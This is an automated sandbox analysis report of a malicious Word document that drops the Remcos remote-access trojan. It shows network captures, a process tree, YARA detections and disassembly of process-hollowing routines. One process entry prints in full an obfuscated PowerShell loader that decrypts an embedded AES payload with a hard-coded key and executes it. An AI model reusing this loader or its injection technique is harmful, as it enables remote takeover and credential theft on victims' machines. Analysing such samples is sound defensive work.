                    Jul 26, 2024 15:05:11.607681990 CEST1236INData Raw: 79 44 6a 38 51 49 50 38 78 44 64 38 77 47 50 6b 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44
                    Data Ascii: yDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv
                    Jul 26, 2024 15:05:11.607692003 CEST1236INData Raw: 41 33 50 6d 39 44 58 2f 49 31 50 49 39 6a 50 2f 49 7a 50 6e 38 54 48 2f 4d 78 50 4a 34 7a 2f 2b 51 75 50 4a 37 6a 70 2b 4d 6f 50 6f 35 6a 58 2b 51 6c 50 4b 35 44 51 2b 59 6a 50 73 34 6a 49 2b 67 68 50 4f 34 44 42 39 6f 66 50 77 33 6a 35 39 77 64
                    Data Ascii: A3Pm9DX/I1PI9jP/IzPn8TH/MxPJ4z/+QuPJ7jp+MoPo5jX+QlPK5DQ+YjPs4jI+ghPO4DB9ofPw3j59wdPS3Dy94bP12jj9YYPv1zS98APRzDl8gFPJxjO8cwO/vzO7MzOroz464rOcqzd6gmOZlDl4Y0Neejg24vNhPTFz8gM7LT3yssMGHzZxMTMCAD/wUJAAAAtAUAcAAAA/o6Pb+zj/83Pi9jW/AjPp7Ty+0rPx6Tn+EpP
                    Jul 26, 2024 15:05:11.607702971 CEST1236INData Raw: 33 44 6d 39 41 55 50 77 30 6a 4a 39 6b 52 50 50 30 44 41 38 59 4f 50 66 7a 44 32 38 45 4e 50 65 79 54 69 38 51 49 50 7a 78 54 61 38 73 45 50 76 77 54 48 38 73 77 4f 38 76 6a 67 36 6b 6e 4f 53 6c 7a 35 35 41 63 4f 62 59 6a 55 32 4d 54 4e 46 58 6a
                    Data Ascii: 3Dm9AUPw0jJ9kRPP0DA8YOPfzD28ENPeyTi8QIPzxTa8sEPvwTH8swO8vjg6knOSlz55AcObYjU2MTNFXja1kAN9QDM0gyM7LTxyIoMhJTWyEkMtEDYxEDMBDjdw4GAAAAbAQA4A8j8/s+Pr+DT/8hPc7T0+gsPk6jf+YnPX4zD98dPO3TI8QLPUyTZ80FPFxTO7I/OevDp7AkO1rD76MuONrTw6MqObqDk6coOxpzW6AiOVoDD
                    Jul 26, 2024 15:05:11.607713938 CEST1236INData Raw: 4d 58 4f 75 6c 54 61 35 34 56 4f 43 6c 54 4c 35 6b 51 4f 45 67 7a 2f 34 51 50 4f 59 6a 44 74 34 63 49 4f 43 69 54 66 34 49 48 4f 57 68 44 54 34 34 43 4f 70 67 44 4a 34 6b 78 4e 39 66 7a 38 33 67 39 4e 54 66 6a 7a 33 4d 38 4e 6e 65 54 6e 33 49 34
                    Data Ascii: MXOulTa54VOClTL5kQOEgz/4QPOYjDt4cIOCiTf4IHOWhDT44COpgDJ4kxN9fz83g9NTfjz3M8NneTn3I4N9dDe302NRdzR3wyNncjI3chNkbDw2srN2azq24oNqZjN2URN9XD+1MfNoXj11QbNmWjm1sYNyVzS1MUNsUDH0AONYTzu0YLNxSDX0cFNFRjP0gDNxQzBz0+MZPT0zU8MoOjnzs3MxNDXzs0MpMzHzIxMJIz7y4tM
                    Jul 26, 2024 15:05:11.607723951 CEST1236INData Raw: 4c 6a 6c 79 55 6e 4d 52 4a 6a 53 79 55 55 4d 56 48 54 47 77 6f 45 41 41 41 41 51 41 51 41 41 41 38 6a 6c 2f 45 35 50 79 35 6a 64 2b 55 6c 50 78 34 6a 4b 2b 55 53 50 34 79 44 7a 38 77 5a 4f 41 6c 6a 4e 79 63 72 4d 51 41 44 34 77 6f 4c 4d 64 43 41
                    Data Ascii: LjlyUnMRJjSyUUMVHTGwoEAAAAQAQAAA8jl/E5Py5jd+UlPx4jK+USP4yDz8wZOAljNycrMQAD4woLMdCAAAwCADAPAAAwPn/zy/I3PYlTG4YLOkhDY4wFOYhDV4AFOMhDS4QEOAhDP4gDOcUTYzQAAAAANAMA4AAAA2wjN4YDN2AjNsYDK2QiNgUDl1wRNYUDF1ARNMUDC1QQNAQDdzw/M4PD9zA/MsPD6zQ+MgPzVyAuMcLD2
                    Jul 26, 2024 15:05:11.607736111 CEST1236INData Raw: 77 41 4d 47 41 54 41 41 41 51 41 59 41 77 41 67 42 41 41 41 38 7a 2b 2f 55 2f 50 76 2f 6a 36 2f 51 2b 50 65 2f 44 32 2f 4d 39 50 4e 2f 6a 78 2f 45 38 50 38 2b 6a 74 2f 41 37 50 71 2b 54 70 2f 38 35 50 5a 2b 7a 6b 2f 34 34 50 49 2b 6a 67 2f 77 33
                    Data Ascii: wAMGATAAAQAYAwAgBAAA8z+/U/Pv/j6/Q+Pe/D2/M9PN/jx/E8P8+jt/A7Pq+Tp/85PZ+zk/44PI+jg/w3P39Tc/s2Pl9DY/o1PU9jT/k0PD9TP/czPy8DL/YyPg8zG/UxPP8TC/QgP+7D++IvPt7z5+EuPb7j1+AtPK7Dx+8rP56zs+0qPo6jo+wpPW6Tk+soPF6zf+onP05Tb+YmPg1z+9QBPIyDR8cDPwwjK8QCPTsj97E+O
                    Jul 26, 2024 15:05:11.616108894 CEST1236INData Raw: 70 6a 61 36 59 6d 4f 69 70 6a 55 36 30 6a 4f 72 6f 54 49 36 63 52 4f 37 6e 44 37 35 30 64 4f 57 6e 44 7a 35 49 63 4f 34 6d 6a 72 35 51 61 4f 78 6c 44 57 35 49 55 4f 70 6b 6a 49 35 59 52 4f 50 6b 44 43 34 34 4e 4f 55 6a 54 7a 34 59 4d 4f 2f 69 44
                    Data Ascii: pja6YmOipjU60jOroTI6cRO7nD750dOWnDz5IcO4mjr5QaOxlDW5IUOpkjI5YROPkDC44NOUjTz4YMO/iDu4QIO6hzc4sDO0gjF3o/NpDAAAAHACAIAAAQOikzG58QOIgT/4YPOujD34wMOFjTu4ILOkiTn4UJODizc4wGOghTW4sEOEhDP4oCOagzE4cAOAcj83s+NjfT038xNScDB2EvNibjr2AqNPaje2oiNdYzD1wfNtXDq


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    3192.168.2.2249168178.237.33.50803264C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    TimestampBytes transferredDirectionData
                    Jul 26, 2024 15:05:19.204394102 CEST71OUTGET /json.gp HTTP/1.1
                    Host: geoplugin.net
                    Cache-Control: no-cache
                    Jul 26, 2024 15:05:19.832218885 CEST1170INHTTP/1.1 200 OK
                    date: Fri, 26 Jul 2024 13:05:19 GMT
                    server: Apache
                    content-length: 962
                    content-type: application/json; charset=utf-8
                    cache-control: public, max-age=300
                    access-control-allow-origin: *
                    Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                    Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                    Statistics

                    CPU Usage

                    Click to jump to process

                    Memory Usage

                    Click to jump to process

                    High Level Behavior Distribution

                    Click to dive into process behavior distribution

                    Behavior

                    Click to jump to process

                    System Behavior

                    General

                    Target ID:0
                    Start time:09:05:01
                    Start date:26/07/2024
                    Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    Wow64 process (32bit):false
                    Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
                    Imagebase:0x13ff90000
                    File size:1'423'704 bytes
                    MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:2
                    Start time:09:05:02
                    Start date:26/07/2024
                    Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    Wow64 process (32bit):true
                    Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                    Imagebase:0x400000
                    File size:543'304 bytes
                    MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:5
                    Start time:09:05:05
                    Start date:26/07/2024
                    Path:C:\Windows\SysWOW64\wscript.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
                    Imagebase:0xbc0000
                    File size:141'824 bytes
                    MD5 hash:979D74799EA6C8B8167869A68DF5204A
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:6
                    Start time:09:05:05
                    Start date:26/07/2024
                    Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
                    Imagebase:0xdb0000
                    File size:427'008 bytes
                    MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:8
                    Start time:09:05:11
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    Imagebase:0xa00000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                    • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                    • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                    Reputation:moderate
                    Has exited:false

                    General

                    Target ID:10
                    Start time:09:05:19
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt"
                    Imagebase:0xa00000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    General

                    Target ID:11
                    Start time:09:05:19
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\woytragqmptvbdolgbukidmxselpvnm"
                    Imagebase:0xa00000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    General

                    Target ID:12
                    Start time:09:05:19
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\hidlssrjzxlidrcppmhelihgbsvywydkws"
                    Imagebase:0xa00000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    Disassembly

                    Reset < >

                      Execution Graph

                      Execution Coverage:6.1%
                      Dynamic/Decrypted Code Coverage:0%
                      Signature Coverage:29%
                      Total number of Nodes:31
                      Total number of Limit Nodes:2
                      execution_graph 9679 257d08 9680 257d2f 9679->9680 9684 25a0e0 9680->9684 9693 259669 9680->9693 9681 257e3a 9686 259783 9684->9686 9685 25a169 9685->9681 9686->9685 9687 258e48 WriteProcessMemory 9686->9687 9702 2591e0 9686->9702 9706 258af8 9686->9706 9710 258b00 9686->9710 9714 258a10 9686->9714 9718 258a08 9686->9718 9687->9686 9694 2596ab 9693->9694 9695 25a169 9694->9695 9696 258a10 ResumeThread 9694->9696 9697 258a08 ResumeThread 9694->9697 9698 258b00 Wow64SetThreadContext 9694->9698 9699 258af8 Wow64SetThreadContext 9694->9699 9700 2591e0 CreateProcessA 9694->9700 9701 258e48 WriteProcessMemory 9694->9701 9695->9681 9696->9694 9697->9694 9698->9694 9699->9694 9700->9694 9701->9694 9703 259267 CreateProcessA 9702->9703 9705 2594c5 9703->9705 9707 258b01 Wow64SetThreadContext 9706->9707 9709 258bc7 9707->9709 9709->9686 9711 258b49 Wow64SetThreadContext 9710->9711 9713 258bc7 9711->9713 9713->9686 9715 258a54 ResumeThread 9714->9715 9717 258aa6 9715->9717 9717->9686 9719 258a54 ResumeThread 9718->9719 9721 258aa6 9719->9721 9721->9686

                      Executed Functions

                      Function 00259669 Relevance: 1.9, Strings: 1, Instructions: 659COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 207 259669-2596a9 208 2596b0-259782 207->208 209 2596ab 207->209 210 259783-259866 call 2591e0 208->210 209->208 216 25988f-2598b8 210->216 217 259868-259884 210->217 220 2598bf-259904 216->220 221 2598ba 216->221 217->216 225 259906 220->225 226 25990b-259937 220->226 221->220 225->226 228 2599a1-2599db 226->228 229 259939-259974 226->229 232 259a04-259a0e 228->232 233 2599dd-2599f9 228->233 234 259976-259992 229->234 235 25999d-25999f 229->235 236 259a15-259a2d 232->236 237 259a10 232->237 233->232 234->235 235->232 239 259a34-259a70 236->239 240 259a2f 236->240 237->236 245 259a72-259a8e 239->245 246 259a99-259a9f 239->246 240->239 245->246 247 259ad1-259ad3 246->247 248 259aa1-259acf 246->248 249 259ad9-259aed 247->249 248->249 252 259b16-259b20 249->252 253 259aef-259b0b 249->253 254 259b27-259b4b 252->254 255 259b22 252->255 253->252 259 259b52-259bb5 254->259 260 259b4d 254->260 255->254 264 259bb7-259bd3 259->264 265 259bde-259c1f call 258e48 259->265 260->259 264->265 268 259c21-259c3d 265->268 269 259c48-259c52 265->269 268->269 270 259c54 269->270 271 259c59-259c66 269->271 270->271 274 259c6d-259c8b 271->274 275 259c68 271->275 278 259c92-259c9e 274->278 279 259c8d 274->279 275->274 280 259e5e-259e7a 278->280 279->278 281 259e80-259ea4 280->281 282 259ca3-259cae 280->282 286 259ea6 281->286 287 259eab-259ee9 call 258e48 281->287 283 259cb5-259cdc 282->283 284 259cb0 282->284 289 259ce3-259d0a 283->289 290 259cde 283->290 284->283 286->287 292 259f12-259f1c 287->292 293 259eeb-259f07 287->293 297 259d11-259d48 289->297 298 259d0c 289->298 290->289 295 259f23-259f50 292->295 296 259f1e 292->296 293->292 304 259f52-259f59 295->304 305 259f5a-259f63 295->305 296->295 302 259e2f-259e39 297->302 303 259d4e-259d5c 297->303 298->297 311 259e40-259e51 302->311 312 259e3b 302->312 307 259d63-259d6a 303->307 308 259d5e 303->308 304->305 309 259f65 305->309 310 259f6a-259f7a 305->310 313 259d71-259db9 307->313 314 259d6c 307->314 308->307 309->310 315 259f81-259fb2 310->315 316 259f7c 310->316 317 259e53 311->317 318 259e58 311->318 312->311 326 259dc0-259de3 call 258e48 313->326 327 259dbb 313->327 314->313 321 259fb4-259fca 315->321 322 25a01c-25a056 315->322 316->315 317->318 318->280 352 259fcd call 258b00 321->352 353 259fcd call 258af8 321->353 330 25a07f-25a08e 322->330 331 25a058-25a074 322->331 324 259fcf-259fef 328 259ff1-25a00d 324->328 329 25a018-25a01a 324->329 332 259de5-259e05 326->332 327->326 328->329 329->330 350 25a091 call 258a10 330->350 351 25a091 call 258a08 330->351 331->330 333 259e07-259e23 332->333 334 259e2e 332->334 333->334 334->302 336 25a093-25a0b3 338 25a0b5-25a0d1 336->338 339 25a0dc-25a144 336->339 338->339 345 25a146 339->345 346 25a14b-25a163 339->346 345->346 346->210 348 25a169-25a171 346->348 350->336 351->336 352->324 353->324
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: 8$
                      • API String ID: 0-332751201
                      • Opcode ID: 4b95d2ad772b91a0fdee6aaa647b24f332951dc2507eea738d1f34f931e6c828
                      • Instruction ID: cafaae4cd0970d8ae951d6352b1de4bf3532ea1fbe52e0c796493696d6c6b897
                      • Opcode Fuzzy Hash: 4b95d2ad772b91a0fdee6aaa647b24f332951dc2507eea738d1f34f931e6c828
                      • Instruction Fuzzy Hash: 2D620170E11228CFDB64DF65C894BDDBBB2AF89301F5484EAD409A7290DB34AE85CF54
                      Function 002591E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 2591e0-259279 2 2592c2-2592ea 0->2 3 25927b-259292 0->3 7 259330-259386 2->7 8 2592ec-259300 2->8 3->2 6 259294-259299 3->6 9 2592bc-2592bf 6->9 10 25929b-2592a5 6->10 16 2593cc-2594c3 CreateProcessA 7->16 17 259388-25939c 7->17 8->7 18 259302-259307 8->18 9->2 11 2592a7 10->11 12 2592a9-2592b8 10->12 11->12 12->12 15 2592ba 12->15 15->9 36 2594c5-2594cb 16->36 37 2594cc-2595b1 16->37 17->16 26 25939e-2593a3 17->26 19 259309-259313 18->19 20 25932a-25932d 18->20 23 259315 19->23 24 259317-259326 19->24 20->7 23->24 24->24 25 259328 24->25 25->20 28 2593a5-2593af 26->28 29 2593c6-2593c9 26->29 30 2593b1 28->30 31 2593b3-2593c2 28->31 29->16 30->31 31->31 33 2593c4 31->33 33->29 36->37 49 2595c1-2595c5 37->49 50 2595b3-2595b7 37->50 52 2595d5-2595d9 49->52 53 2595c7-2595cb 49->53 50->49 51 2595b9 50->51 51->49 55 2595e9-2595ed 52->55 56 2595db-2595df 52->56 53->52 54 2595cd 53->54 54->52 58 259623-25962e 55->58 59 2595ef-259618 55->59 56->55 57 2595e1 56->57 57->55 59->58
                      APIs
                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002594A7
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: CreateProcess
                      • String ID: 8$$8$$8$
                      • API String ID: 963392458-2176841202
                      • Opcode ID: 74bad5aac5292be5abe97386aec4c602c2739c97c964c2e5177c7efec1d8b398
                      • Instruction ID: a6173dca7ce15ae6290c2fac5a9d844ca3f369d9aea6fa331562b2007903ef6f
                      • Opcode Fuzzy Hash: 74bad5aac5292be5abe97386aec4c602c2739c97c964c2e5177c7efec1d8b398
                      • Instruction Fuzzy Hash: 26C115B0D1022ADFDF14CFA4C841BEDBBB1BB49301F0095A9D819B7280DB749A99CF95
                      Function 003850D0 Relevance: 5.2, Strings: 3, Instructions: 1465COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 63 3850d0-3850f2 64 3850f8-3850fd 63->64 65 385274-385294 63->65 66 3850ff-385105 64->66 67 385115-385119 64->67 73 38524d 65->73 74 385296-3852ba 65->74 68 385109-385113 66->68 69 385107 66->69 71 38521f-385229 67->71 72 38511f-385123 67->72 68->67 69->67 75 38522b-385234 71->75 76 385237-38523d 71->76 77 385163 72->77 78 385125-385136 72->78 79 38524f 73->79 80 3852c2-3852c5 73->80 83 3852c0 74->83 84 385464-3854b3 74->84 85 38523f-385241 76->85 86 385243-385245 76->86 81 385165-385167 77->81 78->65 94 38513c-385141 78->94 87 385251-385271 79->87 90 3852dd-3852e1 80->90 91 3852c7-3852cc 80->91 81->71 89 38516d-385171 81->89 83->80 102 3854b9-3854be 84->102 103 3856b6-3856c3 84->103 85->87 86->73 89->71 98 385177-38517b 89->98 96 38540c-385416 90->96 97 3852e7-3852eb 90->97 92 3852cd 91->92 93 3852d1-3852db 91->93 92->93 99 3852cf 92->99 93->90 100 385159-385161 94->100 101 385143-385149 94->101 105 385418-385421 96->105 106 385424-38542a 96->106 107 38532b 97->107 108 3852ed-3852fe 97->108 109 38517d-385186 98->109 110 38519e 98->110 